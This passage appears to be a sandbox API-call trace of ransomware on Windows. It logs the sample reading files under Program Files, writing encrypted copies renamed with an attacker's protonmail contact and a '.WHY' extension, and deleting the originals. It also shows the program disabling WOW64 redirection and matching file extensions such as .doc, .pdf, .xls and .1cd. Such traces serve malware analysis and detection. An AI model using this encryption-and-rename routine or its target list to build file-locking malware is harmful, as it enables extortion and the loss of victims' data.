lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0279.302] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0279.306] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0279.306] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0279.306] SetEndOfFile (hFile=0x2f0) returned 1 [0279.307] CloseHandle (hObject=0x2f0) returned 1 [0279.308] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.309] SetEndOfFile (hFile=0x3a0) returned 1 [0279.317] CloseHandle (hObject=0x3a0) returned 1 [0279.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0279.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.319] lstrlenW (lpString=".doc") returned 4 [0279.319] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0279.319] lstrlenW (lpString=".docx") returned 5 [0279.320] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0279.320] lstrlenW (lpString=".pdf") returned 4 [0279.320] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0279.320] lstrlenW (lpString=".xls") returned 4 [0279.320] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0279.320] lstrlenW (lpString=".xlsx") returned 5 [0279.320] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0279.320] lstrlenW (lpString=".ppt") returned 4 [0279.320] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0279.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.320] lstrlenW (lpString=".zip") returned 4 [0279.320] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0279.320] lstrlenW (lpString=".rar") returned 4 [0279.320] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0279.321] lstrlenW (lpString=".bz2") returned 4 [0279.321] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0279.321] lstrlenW (lpString=".7z") returned 3 [0279.321] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0279.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.321] lstrlenW (lpString=".dbf") returned 4 [0279.321] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0279.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.321] lstrlenW (lpString=".1cd") returned 4 [0279.321] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0279.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.321] lstrlenW (lpString=".jpg") returned 4 [0279.321] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0279.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.322] lstrlenW (lpString=".doc") returned 4 [0279.322] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0279.322] lstrlenW (lpString=".docx") returned 5 [0279.322] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0279.322] lstrlenW (lpString=".pdf") returned 4 [0279.322] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0279.322] lstrlenW (lpString=".xls") returned 4 [0279.322] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0279.322] lstrlenW (lpString=".xlsx") returned 5 [0279.322] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0279.322] lstrlenW (lpString=".ppt") returned 4 [0279.323] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0279.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.323] lstrlenW (lpString=".zip") returned 4 [0279.323] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0279.323] lstrlenW (lpString=".rar") returned 4 [0279.323] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0279.323] lstrlenW (lpString=".bz2") returned 4 [0279.323] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0279.323] lstrlenW (lpString=".7z") returned 3 [0279.323] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0279.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.323] lstrlenW (lpString=".dbf") returned 4 [0279.323] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0279.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.324] lstrlenW (lpString=".1cd") returned 4 [0279.324] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0279.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0279.324] lstrlenW (lpString=".jpg") returned 4 [0279.324] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0279.324] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0279.325] lstrlenW (lpString="Verve.eftx") returned 10 [0279.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.376] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=31224) returned 1 [0279.377] CloseHandle (hObject=0x258) returned 1 [0279.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0280.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0280.887] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.887] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0280.892] GetLastError () returned 0x0 [0280.892] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x79f8, lpOverlapped=0x0) returned 1 [0280.933] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x7a00, lpOverlapped=0x0) returned 1 [0280.938] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0280.938] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0280.939] SetEndOfFile (hFile=0x2f0) returned 1 [0280.939] CloseHandle (hObject=0x2f0) returned 1 [0280.947] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.947] SetEndOfFile (hFile=0x3a0) returned 1 [0281.322] CloseHandle (hObject=0x3a0) returned 1 [0281.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) Thread: id = 38 os_tid = 0x658 [0206.655] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0206.657] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b20050 [0206.658] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9260 [0206.658] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641550 [0206.658] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9230 [0206.658] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x3c10020 [0206.659] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9248 [0206.659] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9248, Size=0x20) returned 0x620318 [0206.659] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9248 [0206.659] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9248, Size=0x20) returned 0x620390 [0206.659] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.660] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.660] Wow64DisableWow64FsRedirection (in: OldValue=0x302ff58 | out: OldValue=0x302ff58*=0x0) returned 1 [0206.660] lstrlenW (lpString="kernel32.dll") returned 12 [0206.660] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.660] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.660] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.660] Sleep (dwMilliseconds=0x64) [0207.125] lstrcmpiW (lpString1=".LOG", lpString2=".WHY") returned -1 [0207.125] lstrlenW (lpString="BCD.LOG") returned 7 [0207.125] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.126] lstrlenW (lpString=".doc") returned 4 [0207.126] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0207.126] lstrlenW (lpString=".docx") returned 5 [0207.126] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0207.126] lstrlenW (lpString=".pdf") returned 4 [0207.126] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0207.126] lstrlenW (lpString=".xls") returned 4 [0207.126] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0207.126] lstrlenW (lpString=".xlsx") returned 5 [0207.127] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0207.127] lstrlenW (lpString=".ppt") returned 4 [0207.127] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0207.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.127] lstrlenW (lpString=".zip") returned 4 [0207.127] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0207.127] lstrlenW (lpString=".rar") returned 4 [0207.127] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0207.127] lstrlenW (lpString=".bz2") returned 4 [0207.127] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0207.127] lstrlenW (lpString=".7z") returned 3 [0207.127] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0207.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.127] lstrlenW (lpString=".dbf") returned 4 [0207.127] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0207.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.128] lstrlenW (lpString=".1cd") returned 4 [0207.128] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0207.128] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.128] lstrlenW (lpString=".jpg") returned 4 [0207.128] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0207.128] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.128] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.128] lstrlenW (lpString=".doc") returned 4 [0207.128] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0207.128] lstrlenW (lpString=".docx") returned 5 [0207.128] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0207.129] lstrlenW (lpString=".pdf") returned 4 [0207.129] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0207.129] lstrlenW (lpString=".xls") returned 4 [0207.129] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0207.129] lstrlenW (lpString=".xlsx") returned 5 [0207.129] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0207.129] lstrlenW (lpString=".ppt") returned 4 [0207.129] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0207.129] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.129] lstrlenW (lpString=".zip") returned 4 [0207.129] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0207.129] lstrlenW (lpString=".rar") returned 4 [0207.129] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0207.130] lstrlenW (lpString=".bz2") returned 4 [0207.130] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0207.130] lstrlenW (lpString=".7z") returned 3 [0207.130] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0207.130] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.130] lstrlenW (lpString=".dbf") returned 4 [0207.130] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0207.130] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.130] lstrlenW (lpString=".1cd") returned 4 [0207.130] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0207.131] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0207.131] lstrlenW (lpString=".jpg") returned 4 [0207.131] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0207.131] Sleep (dwMilliseconds=0x64) [0207.436] Sleep (dwMilliseconds=0x64) [0207.945] Sleep (dwMilliseconds=0x64) [0208.172] Sleep (dwMilliseconds=0x64) [0208.490] Sleep (dwMilliseconds=0x64) [0208.671] Sleep (dwMilliseconds=0x64) [0208.992] Sleep (dwMilliseconds=0x64) [0209.259] Sleep (dwMilliseconds=0x64) [0209.775] Sleep (dwMilliseconds=0x64) [0210.079] Sleep (dwMilliseconds=0x64) [0210.323] Sleep (dwMilliseconds=0x64) [0210.910] Sleep (dwMilliseconds=0x64) [0211.327] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0211.328] lstrlenW (lpString="boxed-correct.avi") returned 17 [0211.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0211.939] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=89600) returned 1 [0211.939] CloseHandle (hObject=0x2d0) returned 1 [0211.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0211.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0211.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0211.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0211.940] lstrlenW (lpString=".doc") returned 4 [0211.941] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0211.941] lstrlenW (lpString=".docx") returned 5 [0211.941] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0211.941] lstrlenW (lpString=".pdf") returned 4 [0211.941] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0211.941] lstrlenW (lpString=".xls") returned 4 [0211.941] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0211.941] lstrlenW (lpString=".xlsx") returned 5 [0211.941] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0211.941] lstrlenW (lpString=".ppt") returned 4 [0211.942] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0211.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0211.942] lstrlenW (lpString=".zip") returned 4 [0211.942] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0211.942] lstrlenW (lpString=".rar") returned 4 [0211.942] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0211.942] lstrlenW (lpString=".bz2") returned 4 [0212.000] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.000] lstrlenW (lpString=".7z") returned 3 [0212.000] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.000] lstrlenW (lpString=".dbf") returned 4 [0212.000] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.000] lstrlenW (lpString=".1cd") returned 4 [0212.000] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.000] lstrlenW (lpString=".jpg") returned 4 [0212.001] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.001] lstrlenW (lpString=".doc") returned 4 [0212.001] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.001] lstrlenW (lpString=".docx") returned 5 [0212.001] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.001] lstrlenW (lpString=".pdf") returned 4 [0212.001] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.001] lstrlenW (lpString=".xls") returned 4 [0212.002] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.002] lstrlenW (lpString=".xlsx") returned 5 [0212.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.002] lstrlenW (lpString=".ppt") returned 4 [0212.002] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.002] lstrlenW (lpString=".zip") returned 4 [0212.002] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.002] lstrlenW (lpString=".rar") returned 4 [0212.002] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.002] lstrlenW (lpString=".bz2") returned 4 [0212.002] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.002] lstrlenW (lpString=".7z") returned 3 [0212.003] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.003] lstrlenW (lpString=".dbf") returned 4 [0212.003] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.003] lstrlenW (lpString=".1cd") returned 4 [0212.003] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0212.003] lstrlenW (lpString=".jpg") returned 4 [0212.003] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.004] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0212.004] lstrlenW (lpString="correct.avi") returned 11 [0212.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.006] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=197120) returned 1 [0212.006] CloseHandle (hObject=0x2d0) returned 1 [0212.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0212.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.008] lstrlenW (lpString=".doc") returned 4 [0212.008] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.008] lstrlenW (lpString=".docx") returned 5 [0212.008] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.008] lstrlenW (lpString=".pdf") returned 4 [0212.008] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.008] lstrlenW (lpString=".xls") returned 4 [0212.008] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.009] lstrlenW (lpString=".xlsx") returned 5 [0212.009] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.009] lstrlenW (lpString=".ppt") returned 4 [0212.009] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.009] lstrlenW (lpString=".zip") returned 4 [0212.010] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.010] lstrlenW (lpString=".rar") returned 4 [0212.010] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.010] lstrlenW (lpString=".bz2") returned 4 [0212.010] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.010] lstrlenW (lpString=".7z") returned 3 [0212.010] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.010] lstrlenW (lpString=".dbf") returned 4 [0212.011] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.011] lstrlenW (lpString=".1cd") returned 4 [0212.011] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.011] lstrlenW (lpString=".jpg") returned 4 [0212.012] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 